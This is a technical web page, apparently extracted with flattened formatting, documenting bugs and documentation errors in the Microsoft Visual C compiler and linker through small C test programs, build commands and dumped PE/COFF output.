Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(45) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *' blunder.c(115) : warning C4100: 'lpReserved' : unreferenced formal parameter blunder.c(115) : warning C4100: 'hModule' : unreferenced formal parameter Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /MACHINE:AMD64 /NODEFAULTLIB /out:blunder.dll /dll /implib:blunder.lib blunder.obj kernel32.lib user32.lib Creating library blunder.lib and object blunder.exp Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(45) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.com blunder.obj blunder.lib kernel32.lib user32.lib Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(45) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wWinMainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:WINDOWS /out:blunder.exe blunder.obj blunder.lib kernel32.lib user32.lib
Load and execute them under Windows 7:
 
            
            
        
CONTROL.EXE "%CD%\blunder.dll" .\blunder.com .\blunder.exe
_DllMainCRTStartup entry point: /GS security cookie is NOT initialised! wmainCRTStartup entry point: /GS security cookie is NOT initialised!Oops: �
Load and execute them under Windows 10:
CONTROL.EXE "%CD%\blunder.dll" .\blunder.com .\blunder.exe
_DllMainCRTStartup entry point: /GS security cookie is initialised with 0x0000DBFB09758927 wmainCRTStartup entry point: /GS security cookie is initialised with 0x0000B0631190DAB2
/Gs
            compiler option
            states in its Remarkssection:
A stack probe is a sequence of code that the compiler inserts at the beginning of a function call. When initiated, a stack probe reaches benignly into memory by the amount of space required to store the function's local variables. This probe causes the operating system to transparently page in more stack memory if necessary, before the rest of the function runs.The documentation for the Visual C compiler helper routineBy default, the compiler generates code that initiates a stack probe when a function requires more than one page of stack space. This default is equivalent to a compiler option of
/Gs4096for x86, x64, ARM, and ARM64 platforms. This value allows an application and the Windows memory manager to increase the amount of memory committed to the program stack dynamically at run time.
_chkstk()
            states since more than 20 years in its Remarkssection:
_chkstk Routine is a helper routine for the C compiler. For x86 compilers, _chkstk Routine is called when the local variables exceed 4K bytes; for x64 compilers it is 8K.OUCH: the correct value for x64 alias AMD64
_alloca()
            states since more than 20 years in its Remarkssection:
Allocates memory on the stack. […]The
_allocaroutine returns avoidpointer to the allocated space, which is guaranteed to be suitably aligned for storage of any type of object. […]
 Create the text file alloca.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
void	*mainCRTStartup(void)
{
	return _alloca(42);
} Compile and link the source file alloca.c created in
            step 1.:
        
SET CL=/GAFS- /Oxy /W4 /X SET LINK=/ENTRY:mainCRTStartup /MACHINE:I386 /SUBSYSTEM:CONSOLE CL.EXE alloca.cNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. alloca.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /MACHINE:I386 /SUBSYSTEM:CONSOLE /out:alloca.exe alloca.obj
 Execute the console application alloca.exe built in
            step 2. and evaluate its exit code:
        
.\alloca.exe ECHO %ERRORLEVEL% SET /A %ERRORLEVEL% % 16
3733996 12OUCH¹: memory objects referenced by SSE instructions require but a 16 byte alignment!
 OUCH²: for constant arguments less than 64
            the Visual C compiler generates calls to the
            _alloca_probe routine which returns but an unaligned
            pointer!
        
Inline assembly is not supported on the Itanium and x64 processors.The documentation for the _emit Pseudoinstruction but states:
            […] if _emit generates an instruction that
            modifies the rax register, the
            compiler does not know that rax has
            changed. […]
        
            OUCH: the RAX register exists only on
            the AMD64 platform, where inline assembly via the
            __asm
            keyword is but not supported!
        #pragma comment
            states:
        Places a comment record into an object file or executable file.OUCH: the highlighted statement of this documentation is but misleading and wrong – while the Visual C compiler accepts arbitrary strings as linker options and writes them into theSyntax
#pragma comment(comment-type [,"comment-string" ])Remarks
The comment-type is one of the predefined identifiers, described below, that specifies the type of comment record. The optional comment-string is a string literal that provides additional information for some comment types. Because comment-string is a string literal, it obeys all the rules for string literals on use of escape characters, embedded quotation marks (
"), and concatenation.[…]
linker
Places a linker option in the object file. You can use this comment-type to specify a linker option instead of passing it to the command line or specifying it in the development environment. For example, you can specify the /include option to force the inclusion of a symbol:
Only the following (comment-type) linker options are available to be passed to the linker identifier:#pragma comment(linker, "/include:__mySymbol")
.drectve
            section of the
            object file,
            the linker rejects all options except the 6 options cited above plus
            the 15 options enumerated below with error
            LNK1276
            or warning
            LNK4229!
        /ALIGN/ALTERNATENAME/ASSEMBLYMODULE/BASE/CLRTHREADATTRIBUTE/DLL/DISALLOWLIB/ENTRY/HEAP/INCREMENTAL/NODEFAULTLIB/OUT/STACK/SUBSYSTEM/VERSION Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2001-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
int	blunder(void *module, int reason, void *context)
{
	return module != context, reason == 1;
#pragma comment(linker, "/ALIGN:4096")
#pragma comment(linker, "/ALTERNATENAME:@=" __FUNCDNAME__)
#pragma comment(linker, "/ASSEMBLYMODULE:@")
#pragma comment(linker, "/BASE:0")
#pragma comment(linker, "/CLRTHREADATTRIBUTE:NONE")
#pragma comment(linker, "/DEFAULTLIB:libcmt")
#pragma comment(linker, "/DISALLOWLIB:msvcrt")
#pragma comment(linker, "/DISALLOWLIB:oldnames")
#pragma comment(linker, "/DLL")
#pragma comment(linker, "/ENTRY:" __FUNCTION__)
#pragma comment(linker, "/EXPORT:@")
#pragma comment(linker, "/HEAP:0,0")
#pragma comment(linker, "/INCLUDE:@")
#pragma comment(linker, "/INCREMENTAL")
#pragma comment(linker, "/MANIFESTDEPENDENCY:name='@'")
#pragma comment(linker, "/MERGE:.rdata=.const")
#pragma comment(linker, "/MERGE:.text=.code")
#pragma comment(linker, "/NODEFAULTLIB")
#pragma comment(linker, "/OUT:blunder.dll")
#pragma comment(linker, "/SECTION:.bss,d")
#pragma comment(linker, "/STACK:0,0")
#pragma comment(linker, "/SUBSYSTEM:WINDOWS")
#pragma comment(linker, "/VERBOSE")
#pragma comment(linker, "/VERSION:0.815")
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/Gz /W4 /X /Zl SET LINK= CL.EXE blunder.cNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /out:blunder.exe blunder.obj blunder.obj : warning LNK4070: /OUT:blunder.dll directive in .EXP differs from output filename 'blunder.exe'; ignoring directive blunder.obj : warning LNK4229: invalid directive '/VERBOSE' encountered; ignored Creating library blunder.lib and object blunder.exp
/ENTRY:‹symbol›
            linker option
            states in its Remarkssection:
RemarksOuch: no prototypes are provided for the entry point functions!The /ENTRY option specifies an entry point function as the starting address for an .exe file or DLL.
The function must be defined to use the
__stdcallcalling convention. The parameters and return value depend on if the program is a console application, a windows application or a DLL. It is recommended that you let the linker set the entry point so that the C run-time library is initialized correctly, and C++ constructors for static objects are executed.By default, the starting address is a function name from the C run-time library. The linker selects it according to the attributes of the program, as shown in the following table.
Function name Default for mainCRTStartup 
(or wmainCRTStartup)An application that uses /SUBSYSTEM:CONSOLE; calls main(orwmain)WinMainCRTStartup 
(or wWinMainCRTStartup)An application that uses /SUBSYSTEM:WINDOWS; calls WinMain(orwWinMain), which must be defined to use__stdcall_DllMainCRTStartup A DLL; calls DllMainif it exists, which must be defined to use__stdcallIf the /DLL or /SUBSYSTEM option is not specified, the linker selects a subsystem and entry point depending on whether
mainorWinMainis defined.The functions
main,WinMain, andDllMainare the three forms of the user-defined entry point.
The MSDN article Format of a C Decorated Name specifies:
The MSDN articles __cdecl and __stdcall provide more details. __fastcall __vectorcall __declspec __restrict __sptr, __uptr __unaligned Argument Passing and Naming Convention Calling Conventions Overview of x64 Calling Conventions Decorated Names Using Decorated Names Viewing Decorated Names Format of a C++ Decorated NameThe form of decoration for a C function depends on the calling convention used in its declaration, as shown below. Note that in a 64-bit environment, functions are not decorated.
Calling convention Decoration __cdecl (the default) Leading underscore (_) __stdcall Leading underscore (_) and a trailing at sign (@) followed by a number representing the number of bytes in the parameter list __fastcall Same as __stdcall, but prepended by an at sign instead of an underscore __vectorcall Two trailing at signs (@@) followed by the decimal number of bytes in the parameter list. 
 Note: the main() and
            wmain() functions always use the __cdecl
            calling and naming convention!
        
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2001-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define NULL	(void *) 0
extern	struct	_IMAGE_DOS_HEADER	__ImageBase;
typedef	unsigned short	wchar_t;
#ifndef BLUNDER
#error
#elif BLUNDER == 0 // DLL
int	DllMain(void *module, int reason, void *context)
{
	return module != context, reason == 1;
}
#elif BLUNDER == 1 // DLL entry point function
int	DllMain(void *module, int reason, void *context);
int	_DllMainCRTStartup(void *module, int reason, void *context)
{
	return DllMain(module, reason, context);
}
#elif BLUNDER == 2 // ANSI console program
int	main(int argc, char *argv[], char *envp[])
{
	return *envp != argv[argc];
}
#elif BLUNDER == 3 // ANSI console program entry point function
int	__cdecl	main(int argc, char *argv[], char *envp[]);
static	char	*argv[] = {"main.exe", "/?", NULL};
static	char	*envp[] = {"name=value", NULL};
int	mainCRTStartup(void)
{
	return main(sizeof(argv) / sizeof(*argv) - 1, argv, envp);
}
#elif BLUNDER == 4 // UNICODE console program
int	wmain(int argc, wchar_t *argv[], wchar_t *envp[])
{
	return *envp != argv[argc];
}
#elif BLUNDER == 5 // UNICODE console program entry point function
int	__cdecl	wmain(int argc, wchar_t *argv[], wchar_t *envp[]);
static	wchar_t	*argv[] = {L"wmain.exe", L"/?", NULL};
static	wchar_t	*envp[] = {L"name=value", NULL};
int	wmainCRTStartup(void)
{
	return wmain(sizeof(argv) / sizeof(*argv) - 1, argv, envp);
}
#elif BLUNDER == 6 // ANSI Windows program
int	WinMain(void *current, void *previous, char cmdline[], int show)
{
	return current != previous, *cmdline != show;
}
#elif BLUNDER == 7 // ANSI Windows program entry point function
int	WinMain(void *current, void *previous, char cmdline[], int show);
int	WinMainCRTStartup(void)
{
	return WinMain(&__ImageBase, NULL, "/?", 0);
}
#elif BLUNDER == 8 // UNICODE Windows program
int	wWinMain(void *current, void *previous, wchar_t cmdline[], int show)
{
	return current != previous, *cmdline != show;
}
#elif BLUNDER == 9 // UNICODE Windows program entry point function
int	wWinMain(void *current, void *previous, wchar_t cmdline[], int show);
int	wWinMainCRTStartup(void)
{
	return wWinMain(&__ImageBase, NULL, L"/?", 0);
}
#else
#error
#endif // BLUNDER Start the command prompt of the Visual C
            development environment for the i386 platform, then
            execute the following 7 command lines to compile the source file
            blunder.c created in step 1. to generate the 5
            object files dllmain.obj, main.obj,
            wmain.obj, winmain.obj plus
            wwinmain.obj with the entry point functions and put
            them into the new object library libcmt.lib:
        
SET CL=/c /Gyz /Oxy /W4 /X /Zl CL.EXE /DBLUNDER=1 /Fodllmain.obj blunder.c CL.EXE /DBLUNDER=3 /Fomain.obj blunder.c CL.EXE /DBLUNDER=5 /Fowmain.obj blunder.c CL.EXE /DBLUNDER=7 /Fowinmain.obj blunder.c CL.EXE /DBLUNDER=9 /Fowwinmain.obj blunder.c LINK.EXE /LIB /MACHINE:I386 /NODEFAULTLIB /OUT:libcmt.lib dllmain.obj main.obj wmain.obj winmain.obj wwinmain.objNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Library Manager Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved.
 Execute the following 7 command lines to compile the source file
            blunder.c created in step 1. 5 times and (try to)
            link each generated object file blunder.obj with the
            entry point functions from the object library
            libcmt.lib generated in step 2.:
        
SET CL=/Gy /MT /Oxy /W4 /X SET LINK=/MACHINE:I386 CL.EXE /DBLUNDER=0 /Gz /LD blunder.c CL.EXE /DBLUNDER=2 /Gd blunder.c CL.EXE /DBLUNDER=4 /Gd blunder.c CL.EXE /DBLUNDER=6 /Gz blunder.c CL.EXE /DBLUNDER=8 /Gz blunder.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /MACHINE:I386 /out:blunder.dll /dll /implib:blunder.lib blunder.obj Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /MACHINE:I386 /out:blunder.exe blunder.obj LINK : error LNK2001: unresolved external symbol _mainCRTStartup blunder.exe : fatal error LNK1120: 1 unresolved externals Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /MACHINE:I386 /out:blunder.exe blunder.obj LINK : error LNK2001: unresolved external symbol _wmainCRTStartup blunder.exe : fatal error LNK1120: 1 unresolved externals Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /MACHINE:I386 /out:blunder.exe blunder.obj LINK : error LNK2001: unresolved external symbol _WinMainCRTStartup blunder.exe : fatal error LNK1120: 1 unresolved externals Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /MACHINE:I386 /out:blunder.exe blunder.obj LINK : error LNK2001: unresolved external symbol _wWinMainCRTStartup blunder.exe : fatal error LNK1120: 1 unresolved externalsOUCH: contrary to the documentation cited above, the linker expects the entry point functions for console as well as Windows applications to be defined using the
__cdecl
            calling and naming convention!
        // Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
typedef	VOID	(NTAPI	PS_POST_PROCESS_INIT_ROUTINE) (VOID);
typedef	struct	_UNICODE_STRING
{
	WORD	Length;
	WORD	MaximumLength;
	LPWSTR	Buffer;
} UNICODE_STRING;
typedef	struct	_RTL_USER_PROCESS_PARAMETERS
{
	BYTE		Reserved1[16];
	LPVOID		Reserved2[10];
	UNICODE_STRING	ImagePathName;
	UNICODE_STRING	CommandLine;
} RTL_USER_PROCESS_PARAMETERS;
typedef	struct	_PEB_LDR_DATA
{
	BYTE		Reserved1[8];
	LPVOID		Reserved2[3];
	LIST_ENTRY	InMemoryOrderModuleList;
} PEB_LDR_DATA;
typedef	struct	_PEB			// Process Environment Block
{
	BYTE				Reserved1[2];
	BYTE				BeingDebugged;
	BYTE				Reserved2[1];
	LPVOID				Reserved3[2];
	PEB_LDR_DATA			*Ldr;
	RTL_USER_PROCESS_PARAMETERS	*ProcessParameters;
	LPVOID				Reserved4[3];
	LPVOID				AtlThunkSListPtr;
	LPVOID				Reserved5;
	DWORD				Reserved6;
	LPVOID				Reserved7;
	DWORD				Reserved8;
	DWORD				AtlThunkSListPtr32;
	LPVOID				Reserved9[45];
	BYTE				Reserved10[96];
	PS_POST_PROCESS_INIT_ROUTINE	*PostProcessInitRoutine;
	BYTE				Reserved11[128];
	LPVOID				Reserved12[1];
	DWORD				SessionId;
} PEB;
LONG	CDECL	mainCRTStartup(PEB *peb);
LONG	CDECL	wmainCRTStartup(PEB *peb);
LONG	CDECL	WinMainCRTStartup(PEB *peb);
LONG	CDECL	wWinMainCRTStartup(PEB *peb);
BOOL	WINAPI	_DllMainCRTStartup(HMODULE module, DWORD reason, CONTEXT *context);LIST_ENTRY
            PEB
            PEB_LDR_DATA
            RTL_USER_PROCESS_PARAMETERS
            UNICODE_STRING
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
static	long	bss;
static	long	data = 'DATA';
const	long	rdata = 'VOID';
long	mainCRTStartup(void)
{
	return bss = data = rdata;
} Compile the source file blunder.c created in
            step 1. to generate the object file blunder.obj,
            then enumerate the names and sizes of its
            COFF sections:
        
CL.EXE /c /W4 /X /Zl blunder.c LINK.EXE /DUMP blunder.obj
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
Copyright (C) Microsoft Corporation.  All rights reserved.
blunder.c
Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
Copyright (C) Microsoft Corporation.  All rights reserved.
Dump of file blunder.obj
File Type: COFF OBJECT
  Summary
           4 .bss
           4 .data
          74 .debug$S
           3 .drectve
           4 .rdata
          20 .text
            Note: the Visual C compiler puts
            uninitialised static variables in the
            .bss section, initialised
            static variables in the .data section, and constants in
            the .rdata section.
         Link the object file blunder.obj generated in
            step 1. to build the executable image file
            blunder.exe using the undocumented
            /TEST
            linker option
            to print some informative messages, then enumerate its sections:
        
LINK.EXE /LINK /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /TEST blunder.obj LINK.EXE /DUMP blunder.exe
Microsoft (R) Incremental Linker Version 10.00.40219.386
Copyright (C) Microsoft Corporation.  All rights reserved.
LINK : file alignment: 512, section alignment: 4096
LINK : section '.sdata' (C0000040) merged into '.data' (C0000040)
LINK : section '.xdata' (40000040) merged into '.rdata' (40000040)
Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
Copyright (C) Microsoft Corporation.  All rights reserved.
Dump of file blunder.exe
File Type: EXECUTABLE IMAGE
  Summary
        1000 .data
        1000 .rdata
        1000 .reloc
        1000 .text
            Oops: the linker merges the
            .bss section into the
            .data section, but fails to print the corresponding
            message despite their different characteristics – 0xC0000080
            alias uninitialised data, readable, writableversus 0xC0000040 alias
initialised data, readable, writable!
 Link the object file blunder.obj generated in
            step 1. a second time to build the executable image file
            blunder.exe, now merging the
            .bss section into the
            .blunder section, the .sdata section into
            the .static section and the .xdata section
            into the .xcept section, again using the
            undocumented /TEST
            linker option
            to print some informative messages, then enumerate its headers and
            give the 3 sections their original names back:
        
LINK.EXE /LINK /BREPRO /ENTRY:mainCRTStartup /MERGE:.bss=.blunder /MERGE:.sdata=.static /MERGE:.xdata=.xcept /NODEFAULTLIB /SUBSYSTEM:CONSOLE /TEST blunder.obj LINK.EXE /DUMP /HEADERS blunder.exe LINK.EXE /EDIT /SECTION:.blunder=.bss /SECTION:.static=.sdata /SECTION:.xcept=.xdata blunder.exe
Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. LINK : file alignment: 512, section alignment: 4096 LINK : section '.bss' (C0000080) merged into '.blunder' (C0000080) LINK : section '.sdata' (C0000040) merged into '.static' (C0000040) LINK : section '.xdata' (40000040) merged into '.xcept' (40000040) LINK : warning LNK4253: section '.sdata' not merged into '.data'; already merged into '.static' LINK : warning LNK4253: section '.xdata' not merged into '.rdata'; already merged into '.xcept' Microsoft (R) COFF/PE Dumper Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file blunder.exe PE signature found File Type: EXECUTABLE IMAGE FILE HEADER VALUES 14C machine (x86) 5 number of sections FFFFFFFF time date stamp Sun Feb 07 07:28:15 2106 0 file pointer to symbol table 0 number of symbols E0 size of optional header 102 characteristics Executable 32 bit word machine OPTIONAL HEADER VALUES 10B magic # (PE32) 10.00 linker version 200 size of code 600 size of initialized data 200 size of uninitialized data 1000 entry point (00401000) 1000 base of code 2000 base of data 400000 image base (00400000 to 00405FFF) 1000 section alignment 200 file alignment 5.01 operating system version 0.00 image version 5.01 subsystem version 0 Win32 version 6000 size of image 400 size of headers 0 checksum 3 subsystem (Windows CUI) 8540 DLL characteristics Dynamic base NX compatible No structured exception handler Terminal Server Aware 100000 size of stack reserve 1000 size of stack commit 100000 size of heap reserve 1000 size of heap commit 0 loader flags 10 number of directories 0 [ 0] RVA [size] of Export Directory 0 [ 0] RVA [size] of Import Directory 0 [ 0] RVA [size] of Resource Directory 0 [ 0] RVA [size] of Exception Directory 0 [ 0] RVA [size] of Certificates Directory 5000 [ 14] RVA [size] of Base Relocation Directory 0 [ 0] RVA [size] of Debug Directory 0 [ 0] RVA [size] of Architecture Directory 0 [ 0] RVA [size] of Global Pointer Directory 0 [ 0] RVA [size] of Thread Storage Directory 0 [ 0] RVA [size] of Load Configuration Directory 0 [ 0] RVA [size] of Bound Import Directory 0 [ 0] RVA [size] of Import Address Table Directory 0 [ 0] RVA [size] of Delay Import Directory 0 [ 0] RVA [size] of COM Descriptor Directory 0 [ 0] RVA [size] of Reserved Directory SECTION HEADER #1 .text name 20 virtual size 1000 virtual address (00401000 to 0040101F) 200 size of raw data 400 file pointer to raw data (00000400 to 000005FF) 0 file pointer to relocation table 0 file pointer to line numbers 0 number of relocations 0 number of line numbers 60000020 flags Code Execute Read SECTION HEADER #2 .blunder name 4 virtual size 2000 virtual address (00402000 to 00402003) 0 size of raw data 0 file pointer to raw data 0 file pointer to relocation table 0 file pointer to line numbers 0 number of relocations 0 number of line numbers C0000080 flags Uninitialized Data Read Write SECTION HEADER #3 .rdata name 4 virtual size 3000 virtual address (00403000 to 00403003) 200 size of raw data 600 file pointer to raw data (00000600 to 000007FF) 0 file pointer to relocation table 0 file pointer to line numbers 0 number of relocations 0 number of line numbers 40000040 flags Initialized Data Read Only SECTION HEADER #4 .data name 4 virtual size 4000 virtual address (00404000 to 00404003) 200 size of raw data 800 file pointer to raw data (00000800 to 000009FF) 0 file pointer to relocation table 0 file pointer to line numbers 0 number of relocations 0 number of line numbers C0000040 flags Initialized Data Read Write SECTION HEADER #5 .reloc name 32 virtual size 5000 virtual address (00405000 to 00405031) 200 size of raw data A00 file pointer to raw data (00000A00 to 00000BFF) 0 file pointer to relocation table 0 file pointer to line numbers 0 number of relocations 0 number of line numbers 42000040 flags Initialized Data Discardable Read Only Summary 1000 .blunder 1000 .data 1000 .rdata 1000 .reloc 1000 .text Microsoft (R) COFF/PE Editor Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. blunder.exe : warning LNK4039: section '.xcept' specified with /SECTION option does not exist blunder.exe : warning LNK4039: section '.static' specified with /SECTION option does not existOops: the linker places the (writable)
.bss alias
            .blunder section not last, i.e. not after the also
            writable .data section, but between the read-only
            .text and .rdata sections!
         OOPS: the linker prints bogus
            informational messages and even warnings LNK4253 for
            sections which exist neither in its input files nor the output file!
        
 Link the object file blunder.obj generated in
            step 1. a third time to build the executable image file
            blunder.exe, again merging the
            .bss section into the
            .blunder section, now using the
            undocumented /LAST
            linker option,
            then enumerate its headers:
        
LINK.EXE /LINK /BREPRO /ENTRY:mainCRTStartup /LAST:.blunder /MERGE:.bss=.blunder /NODEFAULTLIB /SUBSYSTEM:CONSOLE /TEST blunder.obj LINK.EXE /DUMP /HEADERS blunder.exe
Microsoft (R) Incremental Linker Version 10.00.40219.386
Copyright (C) Microsoft Corporation.  All rights reserved.
LINK : file alignment: 512, section alignment: 4096
LINK : section '.bss' (C0000080) merged into '.blunder' (C0000080)
LINK : section '.sdata' (C0000040) merged into '.data' (C0000040)
LINK : section '.xdata' (40000040) merged into '.rdata' (40000040)
Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
Copyright (C) Microsoft Corporation.  All rights reserved.
Dump of file blunder.exe
PE signature found
File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
             14C machine (x86)
               5 number of sections
        FFFFFFFF time date stamp Sun Feb 07 07:28:15 2106
               0 file pointer to symbol table
               0 number of symbols
              E0 size of optional header
             102 characteristics
                   Executable
                   32 bit word machine
OPTIONAL HEADER VALUES
             10B magic # (PE32)
           10.00 linker version
             200 size of code
             600 size of initialized data
             200 size of uninitialized data
            1000 entry point (00401000)
            1000 base of code
            2000 base of data
          400000 image base (00400000 to 00405FFF)
            1000 section alignment
             200 file alignment
            5.01 operating system version
            0.00 image version
            5.01 subsystem version
               0 Win32 version
            6000 size of image
             400 size of headers
               0 checksum
               3 subsystem (Windows CUI)
            8540 DLL characteristics
                   Dynamic base
                   NX compatible
                   No structured exception handler
                   Terminal Server Aware
          100000 size of stack reserve
            1000 size of stack commit
          100000 size of heap reserve
            1000 size of heap commit
               0 loader flags
              10 number of directories
               0 [       0] RVA [size] of Export Directory
               0 [       0] RVA [size] of Import Directory
               0 [       0] RVA [size] of Resource Directory
               0 [       0] RVA [size] of Exception Directory
               0 [       0] RVA [size] of Certificates Directory
            5000 [      14] RVA [size] of Base Relocation Directory
               0 [       0] RVA [size] of Debug Directory
               0 [       0] RVA [size] of Architecture Directory
               0 [       0] RVA [size] of Global Pointer Directory
               0 [       0] RVA [size] of Thread Storage Directory
               0 [       0] RVA [size] of Load Configuration Directory
               0 [       0] RVA [size] of Bound Import Directory
               0 [       0] RVA [size] of Import Address Table Directory
               0 [       0] RVA [size] of Delay Import Directory
               0 [       0] RVA [size] of COM Descriptor Directory
               0 [       0] RVA [size] of Reserved Directory
SECTION HEADER #1
   .text name
      20 virtual size
    1000 virtual address (00401000 to 0040101F)
     200 size of raw data
     400 file pointer to raw data (00000400 to 000005FF)
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
60000020 flags
         Code
         Execute Read
SECTION HEADER #2
  .rdata name
       4 virtual size
    2000 virtual address (00402000 to 00402003)
     200 size of raw data
     600 file pointer to raw data (00000600 to 000007FF)
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
40000040 flags
         Initialized Data
         Read Only
SECTION HEADER #3
   .data name
       4 virtual size
    3000 virtual address (00403000 to 00403003)
     200 size of raw data
     800 file pointer to raw data (00000800 to 000009FF)
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
C0000040 flags
         Initialized Data
         Read Write
SECTION HEADER #4
.blunder name
       4 virtual size
    4000 virtual address (00404000 to 00404003)
       0 size of raw data
       0 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
C0000080 flags
         Uninitialized Data
         Read Write
SECTION HEADER #5
  .reloc name
      32 virtual size
    5000 virtual address (00405000 to 00405031)
     200 size of raw data
     A00 file pointer to raw data (00000A00 to 00000BFF)
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
42000040 flags
         Initialized Data
         Discardable
         Read Only
  Summary
        1000 .blunder
        1000 .data
        1000 .rdata
        1000 .reloc
        1000 .text
            Note: the undocumented
            /LAST:‹section›
            linker option
            places the specified section last, after the .text,
            .rdata and .data
            sections created by the Visual C compiler, but
            before the .reloc section generated by the linker.
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
VOID	mainCRTStartup(VOID)
{
	ExitProcess('VOID');
} Compile the source file blunder.c created in
            step 1. to generate the object file blunder.obj,
            then enumerate the names and sizes of its
            COFF sections:
        
CL.EXE /c /W4 /Zl blunder.c LINK.EXE /DUMP blunder.obj
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
Copyright (C) Microsoft Corporation.  All rights reserved.
blunder.c
Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
Copyright (C) Microsoft Corporation.  All rights reserved.
Dump of file blunder.obj
File Type: COFF OBJECT
  Summary
          74 .debug$S
           3 .drectve
          10 .text
        �
